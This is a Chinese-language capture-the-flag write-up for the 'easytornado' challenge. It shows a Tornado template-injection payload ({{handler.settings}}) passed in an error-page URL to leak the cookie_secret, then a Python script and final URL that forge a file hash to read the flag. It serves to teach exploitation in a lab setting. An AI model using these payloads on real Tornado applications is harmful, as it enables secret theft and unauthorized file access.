攻防世界--Web进阶--easytornado---模板注入

目录

信息搜集 

模板注入

生成filehash


信息搜集 

 

 发现flag的位置,于是我们试试能不能访问

 报错了

查看/welcome.txt

  由于render是一个Tomado框架的一个渲染函数,即可以通过传递不同的参数形成不同的页面。

render({options})可以猜测有模板注入漏洞。

 /hints.txt提醒md5(cookie_secret+md5(filename))

 

 这个应该是file的hash算法了

filename应该是/fllllllllllllag   cookie_secret不清楚

模板注入

通过查阅文档发现cookie_secret在Application对象settings属性中,

因此注入

http://111.200.241.244:53902/error?msg={{Requsethandler.application.settings}}

 发现出错了。应该是被加入黑名单了

还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。

因此注入

http://111.200.241.244:53902/error?msg={{handler.settings}}

生成filehash

import hashlib

def md5(s):
 return hashlib.md5(s.encode('utf-8')).hexdigest()  
//注意要先将字符串utf-8加密后再MD5 然后再返回加密字符串
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'de9d729b-c6d5-4422-903d-d3c5495865af'
 print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
 filehash()

 Payload

​​http://111.200.241.244:53902/file?filename=/fllllllllllllag&filehash=0f73b42a93032d3fa60a3f09b6c22a13

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值